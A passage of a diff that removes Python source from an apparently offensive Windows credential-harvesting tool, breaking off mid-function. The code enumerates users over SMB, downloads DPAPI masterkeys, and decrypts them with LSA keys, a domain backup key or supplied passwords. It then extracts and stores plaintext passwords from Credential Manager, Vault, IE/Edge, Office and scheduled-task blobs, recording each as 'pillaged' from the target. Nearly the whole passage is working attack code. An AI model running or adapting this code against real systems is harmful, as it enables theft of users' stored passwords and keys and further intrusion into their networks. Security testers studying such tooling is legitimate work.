- credz_password=password,
- credz_target=decrypted_blob['Target'].decode('utf-16le'),
- credz_path=localfile,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- self.logging.debug(info)
- return info
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_CREDENTIAL_MSOFFICE(self, user, localfile, decrypted_blob):
- # from impacket.ese import getUnixTime
- try:
- self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file")
- # self.logging.debug(decrypted_blob)
- info = "\n"
- info += f"[CREDENTIAL]\n"
- try:
- info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
- info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
- info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
- info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
- self.logging.debug(ex)
- info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
- info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
- info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
- info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
- try:
- info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
- password = decrypted_blob['Unknown3'].decode('utf-16le')
- except UnicodeDecodeError:
- info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
- password = decrypted_blob['Unknown3'].decode('latin-1')
-
- ############PROCESSING DATA
- self.db.add_credz(credz_type='browser-internet_explorer',
- credz_username=decrypted_blob['Username'].decode('utf-16le'),
- credz_password=password,
- credz_target=decrypted_blob['Target'].decode('utf-16le'),
- credz_path=localfile,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- self.logging.debug(info)
- return info
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_CREDENTIAL_TASKSCHEDULER(self, user, localfile, decrypted_blob):
- # from impacket.ese import getUnixTime
- try:
- self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file")
- # self.logging.debug(decrypted_blob)
- info = "\n"
- info += f"[CREDENTIAL]\n"
- try:
- info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
- info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
- info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
- info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
- self.logging.debug(ex)
- info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
- info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
- info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
- info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
- try:
- info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
- password = decrypted_blob['Unknown3'].decode('utf-16le')
- except UnicodeDecodeError:
- info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
- password = decrypted_blob['Unknown3'].decode('latin-1')
- ############PROCESSING DATA
- self.db.add_credz(credz_type='taskscheduler',
- credz_username=decrypted_blob['Username'].decode('utf-16le'),
- credz_password=password,
- credz_target=decrypted_blob['Target'].decode('utf-16le'),
- credz_path=localfile,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- self.logging.debug(info)
- return info
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def process_decrypted_vault(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}")
- blob_type = secret_file['type']
- localfile = secret_file['path']
- data = secret_file['data']
-
- if blob_type == 'vault' or blob_type == 'vcrd':
- try:
- vault_name = secret_file['vault_name'] # args[0]
- vault_type = secret_file['vault_type'] # args[1]
- self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ")
- if vault_type == 'WinBio Key':
- data = self.dump_VAULT_WIN_BIO_KEY(user, localfile, data)
- self.logsecret(f"Vault {vault_name} : {data} ")
- elif vault_type == 'NGC Local Account Logon Vault Credential':
- data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user, localfile, data)
- self.logsecret(f"Vault {vault_name} : {data} ")
- elif "NGC" in vault_type:
- data = self.dump_VAULT_NGC_ACCOOUNT(user, localfile, data)
- self.logsecret(f"Vault {vault_name} : {data} ")
- elif vault_type == 'Internet Explorer':
- data = self.dump_VAULT_INTERNET_EXPLORER(user, localfile, data)
-
- # user.secrets["Vault:%s" % vault_name] = data
- secret_file['secret'] = data
- self.dump_to_file(localfile, data)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_VAULT_INTERNET_EXPLORER(self, user, localfile, vault_blob):
- try:
- self.logging.debug("Formating VAULT_INTERNET_EXPLORER info")
- retval = "[Internet Explorer]\n"
- retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n"
- retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n"
- retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n"
- ############PROCESSING DATA
- self.db.add_credz(credz_type='browser-internet_explorer',
- credz_username=f"{vault_blob['Username'].decode('utf-16le')}",
- credz_password=f"{vault_blob['Password'].decode('utf-16le')}",
- credz_target=f"{vault_blob['Resource'].decode('utf-16le')}",
- credz_path=localfile,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [IE/EDGE Password] {bcolors.ENDC} for {vault_blob['Resource'].decode('utf-16le')} [ {bcolors.OKBLUE}{vault_blob['Username'].decode('utf-16le')} : {vault_blob['Password'].decode('utf-16le')}{bcolors.ENDC} ]")
- return retval
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_VAULT_WIN_BIO_KEY(self, user, localfile, vault_blob):
- try:
- self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file")
- retval = "\n[WINDOWS BIOMETRIC KEY]\n"
- retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
- retval += f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n"
- retval += f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n"
- return retval
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_VAULT_NGC_LOCAL_ACCOOUNT(self, user, localfile, vault_blob):
- try:
- self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file")
- retval = "\n[NGC LOCAL ACCOOUNT]\n"
- retval += 'UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"])
- retval += 'IV : %s\n' % hexlify(vault_blob["IV"])
- retval += 'CipherText : %s\n' % hexlify(vault_blob["CipherText"])
- return retval
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_VAULT_NGC_ACCOOUNT(self, user, localfile, vault_blob):
- try:
- self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file")
- retval = "\n[NGC VAULT]\n"
- retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
- retval += 'Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le')
- # A completer ?
- vault_blob['Blob'].dump()
-
- return retval
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def do_who(self):
- # if self.loggedIn is False:
- # self.logging.error("Not logged in")
- # return
- rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
- smb_connection=self.smb)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(srvs.MSRPC_UUID_SRVS)
- resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
-
- for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
- self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % (
- session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
- session['sesi10_idle_time']))
- self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1])
-
- def get_users(self):
- self.logging.debug("Listing Users by enumerating directories in $Share\\Users")
- blacklist = ['.', '..', 'desktop.ini']
- shares = self.myfileops.get_shares()
- # Intégrer les users share du premier test
- if 'C$' in shares: # Most likely
- self.myfileops.do_use('C$')
- # self.myfileops.pwd = 'Users'
- completion = self.myfileops.do_ls('Users', '*', display=False)
- for infos in completion:
- longname, is_directory = infos
- if is_directory and longname not in blacklist:
- for user in self.users:
- if longname == user.username:
- break
- else:
- self.users.append(MyUser(longname, self.logging, self.options))
- self.logging.info(
- f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
- user = self.GetUserByName(longname)
- self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
- user.share = 'C$'
- else:
- for share in shares:
- self.myfileops.do_use(share)
- # self.pwd = 'Users'
- completion = self.myfileops.do_ls('Users', '*', display=False)
- for infos in completion:
- longname, is_directory = infos
- if is_directory and longname not in blacklist:
- for user in self.users:
- if longname == user['username']:
- break
- else:
- self.users.append(MyUser(longname, self.logging, self.options))
- self.logging.debug(
- f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
- user = self.GetUserByName(longname)
- self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
- user.share = share
- # +ADD LOCAL MACHINE ACCOUNT
- user = MyUser("MACHINE$", self.logging, self.options)
- user.type = 'MACHINE'
- user.share = 'C$'
- self.users.append(user)
- self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
- return self.users
-
- def get_masterkeys(self):
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}")
- blacklist = ['.', '..']
- # self.get_shares()
- # self.get_users()
- for user in self.users:
- if user.username != 'MACHINE$':
- try:
- tmp_pwd = ntpath.join(ntpath.join('Users', user.username), 'AppData\\Roaming\\Microsoft\\Protect')
- self.logging.debug(
- f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd)
- my_directory = self.myfileops.do_ls(tmp_pwd, '', display=True)
- for infos in my_directory:
- try:
- longname, is_directory = infos
- if longname not in blacklist:
- self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys")
- if is_directory and longname[:2] == 'S-': # SID
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
- user.sid = longname
- if user.sid.startswith('S-1-5-80'):
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
- user.is_adconnect = True
- # user.check_usertype()
- tmp_pwd2 = ntpath.join(tmp_pwd, longname)
- my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
- for infos2 in my_directory2:
- longname2, is_directory2 = infos2
- if not is_directory2 and is_guid(longname2): # GUID
- self.download_masterkey(user, tmp_pwd2, longname2, type='USER')
- elif is_directory:
- self.logging.debug(
- f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname)
- else:
- self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}")
- self.logging.debug(ex)
- continue
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}")
- self.logging.debug(ex)
- continue
- ##MACHINE MASTERKEYS
- try:
- user = self.GetUserByName('MACHINE$')
- # Make a "MACHINE$" user
- """user=MyUser("MACHINE$",self.logging,self.options)
- user.type='MACHINE'
- self.users.append(user)"""
-
- tmp_pwd = 'Windows\\System32\\Microsoft\\Protect' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
- self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd)
- my_directory = self.myfileops.do_ls(tmp_pwd, '', display=False)
- for infos in my_directory:
- longname, is_directory = infos
- if longname not in blacklist:
- if is_directory and longname[:2] == 'S-': # SID
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
- user.sid = longname
- if user.sid.startswith('S-1-5-80'):
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
- user.is_adconnect = True
- tmp_pwd2 = ntpath.join(tmp_pwd, longname)
- my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
- for infos2 in my_directory2:
- longname2, is_directory2 = infos2
- if longname2 not in blacklist:
- if not is_directory2 and is_guid(longname2): # GUID
- # Downloading file
- self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE')
- elif is_directory2 and longname2 == 'User': # On se limite a ca pour le moment
- tmp_pwd3 = ntpath.join(tmp_pwd2, longname2)
- my_directory3 = self.myfileops.do_ls(tmp_pwd3, '', display=False)
- for infos3 in my_directory3:
- longname3, is_directory3 = infos3
- if longname3 not in blacklist:
- if not is_directory3 and is_guid(longname3): # GUID
- self.logging.debug(
- f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}")
- # Downloading file
- self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER')
- else:
- self.logging.debug(
- "Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3))
- else:
- self.logging.debug(
- "Found unexpected file/directory %s in %s" % (tmp_pwd2, longname2))
- elif is_directory:
- self.logging.debug("Found (not SID) Directory %s" % longname)
- else:
- self.logging.debug("Found file %s" % longname)
-
- except Exception as ex:
- self.logging.error(
- f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}")
- self.logging.debug(ex)
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}")
-
- def download_masterkey(self, user, path, guid, type):
- guid = guid.lower()
- if is_guid(guid):
- self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}")
- # Downloading file
- localfile = self.myfileops.get_file(ntpath.join(path, guid))
- # Get Type and hash
- try:
- myoptions = copy.deepcopy(self.options)
- myoptions.sid = user.sid
- myoptions.username = user.username
- myoptions.pvk = None
- myoptions.file = localfile # Masterkeyfile to parse
- # myoptions.key = key.decode("utf-8")
- mydpapi = DPAPI(myoptions, self.logging)
- if self.options.GetHashes == True:
- masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True)
- else:
- masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False)
- except Exception as ex:
- self.logging.error(
- f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}")
- self.logging.debug(ex)
- try:
- user.masterkeys_file[guid] = {}
- user.masterkeys_file[guid]['path'] = localfile
- user.masterkeys_file[guid]['status'] = 'encrypted'
- if self.options.GetHashes == True:
- user.masterkeys_file[guid]['hash'] = masterkey_hash
- if is_domain_sid and user.username != 'MACHINE$':
- type = 'DOMAIN'
- user.type_validated = True
- user.type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER
- self.db.add_sid(username=user.username, sid=user.sid)
- self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
- status=user.masterkeys_file[guid]['status'],
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- if self.options.GetHashes == True:
- for hash in user.masterkeys_file[guid]['hash']:
- self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid,
- hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip)
- except Exception as ex:
- self.logging.error(
- f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def get_masterkey(self, user, guid, type):
- guid = guid.lower()
- if guid not in user.masterkeys_file:
- self.logging.debug(
- f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
- return -1
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
- if user.masterkeys_file[guid]['status'] == 'decrypted':
- self.logging.debug(
- f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
- return user.masterkeys_file[guid]
- elif user.masterkeys_file[guid]['status'] == 'encrypted':
- return self.decrypt_masterkey(user, guid, type, tested_type=[])
-
- def decrypt_masterkey(self, user, guid, type='', tested_type=[]):
-
- self.logging.debug(
- f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type}) - tested : {tested_type}")
- guid = guid.lower()
- if guid not in user.masterkeys_file:
- self.logging.debug(
- f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
- return -1
- localfile = user.masterkeys_file[guid]['path']
-
- if user.masterkeys_file[guid]['status'] == 'decrypted':
- self.logging.debug(
- f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
- return user.masterkeys_file[guid]
- else:
- # if user.type_validated == True:
- # type=user.type
- if type == '':
- type = user.type
-
- if 'MACHINE' in tested_type and 'MACHINE-USER' in tested_type and 'DOMAIN' in tested_type and 'LOCAL' in tested_type:
- self.logging.debug(
- f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} : All decryption type failed")
- return -1
-
- if type == 'MACHINE':
- # Try de decrypt masterkey file
- for key in self.machine_key:
- self.logging.debug(
- f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
- try:
- myoptions = copy.deepcopy(self.options)
- myoptions.sid = None # user.sid
- myoptions.username = user.username
- myoptions.pvk = None
- myoptions.file = localfile # Masterkeyfile to parse
- myoptions.key = key.decode("utf-8")
- mydpapi = DPAPI(myoptions, self.logging)
- decrypted_masterkey = mydpapi.decrypt_masterkey()
- if decrypted_masterkey != None and decrypted_masterkey != -1:
- # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
- user.masterkeys_file[guid]['status'] = 'decrypted'
- user.masterkeys_file[guid]['key'] = decrypted_masterkey
- # user.masterkeys[localfile] = decrypted_masterkey
- user.type = 'MACHINE'
- user.type_validated = True
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
- self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
- status=user.masterkeys_file[guid]['status'],
- decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- return user.masterkeys_file[guid]
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
- self.logging.debug(ex)
- else:
- # if user.type_validated == False:
- tested_type.append('MACHINE')
- self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
- elif type == 'MACHINE-USER':
- # Try de decrypt masterkey file
- for key in self.user_key:
- self.logging.debug(
- f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid ))
- try:
- # key1, key2 = deriveKeysFromUserkey(tsid, userkey)
- myoptions = copy.deepcopy(self.options)
- myoptions.file = localfile # Masterkeyfile to parse
- if user.is_adconnect is True:
- myoptions.key = key.decode("utf-8")
- myoptions.sid = user.sid
- else:
- myoptions.key = key.decode("utf-8") # None
- myoptions.sid = None # user.sid
-
- myoptions.username = user.username
- myoptions.pvk = None
- mydpapi = DPAPI(myoptions, self.logging)
- decrypted_masterkey = mydpapi.decrypt_masterkey()
- if decrypted_masterkey != -1 and decrypted_masterkey != None:
- # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
- user.masterkeys_file[guid]['status'] = 'decrypted'
- user.masterkeys_file[guid]['key'] = decrypted_masterkey
- # user.masterkeys[localfile] = decrypted_masterkey
- user.type = 'MACHINE-USER'
- user.type_validated = True
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
- self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
- status=user.masterkeys_file[guid]['status'],
- decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- return user.masterkeys_file[guid]
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
- self.logging.debug(ex)
- else:
- tested_type.append('MACHINE-USER')
- if user.type_validated == False and not user.is_adconnect:
- return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
- if 'DOMAIN' not in tested_type:
- return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
-
- elif type == 'DOMAIN' and self.options.pvk is not None:
- # For ADConnect
- if user.is_adconnect is True and 'MACHINE-USER' not in tested_type:
- return self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
- # Try de decrypt masterkey file
- self.logging.debug(
- f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
- try:
- myoptions = copy.deepcopy(self.options)
- myoptions.file = localfile # Masterkeyfile to parse
- myoptions.username = user.username
- myoptions.sid = user.sid
- mydpapi = DPAPI(myoptions, self.logging)
- decrypted_masterkey = mydpapi.decrypt_masterkey()
- if decrypted_masterkey != -1 and decrypted_masterkey != None:
- # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
- user.masterkeys_file[guid]['status'] = 'decrypted'
- user.masterkeys_file[guid]['key'] = decrypted_masterkey
- # user.masterkeys[localfile] = decrypted_masterkey
- user.type = 'DOMAIN'
- user.type_validated = True
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
- self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
- status=user.masterkeys_file[guid]['status'],
- decrypted_with="DOMAIN-PVK",
- decrypted_value=decrypted_masterkey,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- return user.masterkeys_file[guid]
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
- # if user.type_validated == False:
- tested_type.append('DOMAIN')
- return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
- self.logging.debug(f"exception was : {ex}")
- # if user.type_validated == False:
- tested_type.append('DOMAIN')
- return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
- # type==LOCAL
- # On a des credz
- if len(self.options.credz) > 0 and user.masterkeys_file[guid][
- 'status'] != 'decrypted': # localfile not in user.masterkeys:
- self.logging.debug(
- f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
- for username in self.options.credz:
- if username.lower() in user.username.lower(): # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
- # self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
- # for test_cred in self.options.credz[user.username]:
- try:
- self.logging.debug(
- f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
- myoptions = copy.deepcopy(self.options)
- myoptions.file = localfile # Masterkeyfile to parse
- # myoptions.password = self.options.credz[username]
- myoptions.sid = user.sid
- myoptions.pvk = None
- myoptions.key = None
- mydpapi = DPAPI(myoptions, self.logging)
- decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
- if decrypted_masterkey != -1 and decrypted_masterkey != None:
- # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
- user.masterkeys_file[guid]['status'] = 'decrypted'
- user.masterkeys_file[guid]['key'] = decrypted_masterkey
- # user.masterkeys[localfile] = decrypted_masterkey
- user.type = 'LOCAL'
- user.type_validated = True
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
- self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
- status=user.masterkeys_file[guid]['status'],
- decrypted_with=f"Password:{self.options.credz[username]}",
- decrypted_value=decrypted_masterkey,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- return user.masterkeys_file[guid]
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
- except Exception as ex:
- self.logging.debug(
